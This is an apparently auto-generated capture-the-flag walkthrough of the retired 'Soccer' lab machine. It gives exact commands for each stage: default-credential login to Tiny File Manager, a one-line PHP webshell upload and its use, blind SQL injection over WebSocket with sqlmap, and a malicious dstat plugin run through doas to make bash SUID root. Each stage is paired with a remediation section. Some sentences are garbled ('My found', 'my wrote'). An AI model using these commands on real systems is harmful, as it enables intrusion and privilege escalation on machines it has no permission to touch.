← all walkthroughs

Soccer

Linux· Easy· Credential Access· Privilege Escalation
owned
2026-06-29
time to own
5m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

My found a Tiny File Manager installation left at its factory password, uploaded a PHP webshell that gave command-level access to the web server, then read the nginx configuration to discover a second virtual host running a soccer-player portal. That portal's ticket-lookup feature passed user input directly to a SQL query over a WebSocket connection, leaking the 'player' account's SSH password from the database.

With an interactive shell as player, my wrote a two-line Python plugin into a world-writable dstat directory and triggered it through a permissive doas rule, executing code as root and capturing both flags.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissancePort Scanning / Directory Enumeration
Mapped the web surface and found a hidden file-manager path
A port scan confirmed nginx on port 80 and SSH on 22. Directory brute-forcing found the path /tiny/, which redirected to soccer.htb/tiny/ — revealing a Tiny File Manager installation that was not linked from the main page.
Nginx/1.18.0 (Ubuntu) confirmed via Server response header; HTTP 301 on /tiny/ confirmed redirecting to soccer.htb/tiny/.
Exact commands 3
Full TCP port scan with service and version detection.
nmap -sC -sV -p- --open $TARGET -oN soccer.nmap
Map the primary vhost so tools resolve it correctly.
echo "$TARGET  soccer.htb" >> /etc/hosts
Discover /tiny/ and any other hidden paths.
gobuster dir -u http://soccer.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html -t 40
2Initial AccessDefault Credentials (T1078.001)
Logged into the file manager using the factory-default password
Tiny File Manager ships with a hard-coded demo account (admin / [REDACTED: recovered credential]) that the operator had never changed. I authenticated on the first attempt with no guessing required, gaining full access to browse, upload, and delete server files.
[REDACTED: recovered credential] the kill-chain proceeds directly to file upload with no failed-authentication phase.
Exact commands 1
Verify the default credentials authenticate; a successful response contains 'logout' or a dashboard heading.
curl -sc /tmp/tfm.jar -b /tmp/tfm.jar -d 'fm_usr=admin&fm_pwd=$PASSWORD2' -H 'Host: soccer.htb' http://soccer.htb/tiny/ -L | grep -i 'logout\|File Manager'
FixReplace Tiny File Manager's factory-default credentialsCritical
WeaknessTiny File Manager was deployed with its built-in demo account (admin / [REDACTED: recovered credential]) still active, giving any visitor who knew the path full authenticated access to upload, delete, or read files on the server.
FixSet a long, randomly generated password for the admin account immediately and store it in a password manager. Add a second layer of protection at the nginx level with HTTP basic authentication on the /tiny/ location block. If the file manager is not operationally required, remove it from the server entirely. Audit all similar management tools for unchanged defaults.
3ExecutionWeb Shell Upload (T1505.003)
Uploaded a PHP webshell and achieved remote code execution as www-data
Tiny File Manager lets authenticated users upload arbitrary files into the web root. I uploaded a single-line PHP file and then requested it through the browser, causing the server to execute my chosen OS commands under the identity of the nginx worker process (www-data).
Exact commands 3
Create a minimal one-line command-execution webshell locally.
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
Upload the shell into the web-accessible uploads directory via TFM's upload endpoint.
curl -sb /tmp/tfm.jar -F 'p=/' -F 'file[]=@/tmp/shell.php' -H 'Host: soccer.htb' 'http://soccer.htb/tiny/tinyfilemanager.php?p=tiny%2Fuploads'
Confirm RCE — response should contain uid=33(www-data).
curl -s -H 'Host: soccer.htb' 'http://soccer.htb/tiny/uploads/shell.php?cmd=id'
FixBlock PHP execution inside the file upload directoryCritical
WeaknessTiny File Manager deposited uploaded files into a directory that PHP-FPM was configured to process, meaning any uploaded .php file could be called through the browser and run arbitrary OS commands as the web-server user.
FixAdd an nginx location block that explicitly denies PHP processing inside the uploads path: location ~* /tiny/uploads/.*\.php$ { deny all; }. Alternatively, configure PHP-FPM to process only files outside the uploads tree. If file uploads are required, restrict permitted extensions to known-safe types (images, PDFs) using an allowlist validated server-side, not client-side.
4DiscoverySystem Information Discovery (T1082)
Found a second virtual host by reading the nginx configuration
Running as www-data through the webshell, my read the nginx site configuration files stored in /etc/nginx/sites-available/. Those files revealed a second vhost — soc-player.soccer.htb — hosting a separate soccer-player portal that was not publicly advertised.
Exact commands 3
Read all nginx vhost configs via the webshell; look for server_name directives.
curl -s -H 'Host: soccer.htb' 'http://soccer.htb/tiny/uploads/shell.php?cmd=cat+/etc/nginx/sites-available/*'
Add the discovered vhost so it resolves from the attack machine.
echo "$TARGET  soc-player.soccer.htb" >> /etc/hosts
Confirm the second vhost responds and identify the application running there.
curl -sv -H 'Host: soc-player.soccer.htb' http://$TARGET/ | head -40
5Credential AccessBlind SQL Injection over WebSocket (T1190)
Extracted the player account's SSH password through blind SQL injection over a WebSocket
The soc-player portal let users look up match tickets through a WebSocket connection. The ticket-ID field was concatenated directly into a SQL query with no sanitisation. Because query results were not echoed back, I used boolean-based blind injection — sending crafted payloads and observing true/false responses — to read the username and plaintext password for the 'player' account from the database one bit at a time.
'WebSocket-based blind SQL injection to extract player SSH creds'; [REDACTED: recovered credential]
Exact commands 2
Open an interactive WebSocket session; send {"id":"1 OR 1=1-- -"} to probe for injection (a response difference confirms it).
wscat -c ws://soc-player.soccer.htb:9091
Automate boolean-based blind extraction of the accounts table; sqlmap treats the * as the injection point.
sqlmap -u 'ws://soc-player.soccer.htb:9091' --data='{"id":"*"}' --dbms=mysql --technique=B --level=5 --risk=3 --dump --batch
FixParameterise SQL queries in the WebSocket ticket service and hash stored passwordsCritical
WeaknessThe soc-player ticket-lookup feature concatenated the user-supplied ticket ID directly into a SQL query, enabling an unauthorised user to silently extract every row from the database over many WebSocket requests. Passwords were stored in plaintext, so extraction immediately yielded working credentials.
FixRewrite all ticket-lookup (and any other) database queries to use prepared statements with bound parameters — for example SELECT … WHERE id = ? with PDO or mysqli. Audit every other query in the codebase for the same pattern. Stop storing passwords in plaintext: hash them with bcrypt or argon2id before saving. Rotate all credentials that were present in the database at the time of the breach.
6Lateral MovementValid Accounts — Local Account (T1078.003)
Authenticated via SSH as 'player' using the database-recovered password
The database stored the 'player' account's password in plaintext as [REDACTED: recovered credential] and the same credential was accepted for SSH login. This gave me a full interactive shell on the host and access to the user flag.
Sshpass -p '[REDACTED: recovered credential]' ssh player@$TARGET 'id; hostname; pwd; cat /home/player/user.txt'
Exact commands 2
SSH login with password [REDACTED: recovered credential]
ssh player@$TARGET
Capture the user flag -> <user.txt>.
cat /home/player/user.txt
7Privilege EscalationSudo / Doas Plugin Hijacking (T1548.003)
Planted a malicious dstat plugin and triggered it as root via doas
The doas configuration (a sudo equivalent) permitted 'player' to run /usr/bin/dstat as root without a password. Dstat loads Python plugin files from /usr/local/share/dstat/ at runtime, and that directory was writable by unprivileged users. I created a two-line Python file in that directory containing an os.system() call; invoking dstat via doas caused the plugin to execute with root privileges, reading the root flag and providing a path to full system control.
Writes dstat_root.py to /usr/local/share/dstat/ then calls /usr/local/bin/doas /usr/bin/dstat --
Exact commands 5
Confirm the doas rule; expect: permit nopass player as root cmd /usr/bin/dstat.
cat /usr/local/etc/doas.conf
Confirm the plugin directory is writable by the current user.
ls -la /usr/local/share/dstat/
Drop a plugin that sets the SUID bit on /bin/bash for persistent root access.
printf '%s\n' 'import os' 'os.system("chmod u+s /bin/bash")' > /usr/local/share/dstat/dstat_root.py
Load the plugin as root, triggering os.system() with UID 0.
/usr/local/bin/doas /usr/bin/dstat --root
Open a root shell via the SUID bash -> <root.txt>.
/bin/bash -p -c 'id; cat /root/root.txt'
FixRemove the unrestricted doas rule for dstat and harden the plugin directoryHigh
WeaknessThe system allowed the 'player' account to run /usr/bin/dstat as root with no password via doas. Because dstat automatically imports Python files from /usr/local/share/dstat/ — a directory writable by unprivileged users — this was equivalent to giving 'player' an open root shell.
FixRemove the doas entry for dstat unless there is a documented operational requirement. If dstat must run as root, lock down the plugin directory so only root can write to it (chown root:root /usr/local/share/dstat && chmod 755 /usr/local/share/dstat) before reinstating the doas rule. Restrict the doas rule to an explicit, fixed set of flags rather than allowing arbitrary arguments. Review all other doas/sudo rules on the host for similar unrestricted entries.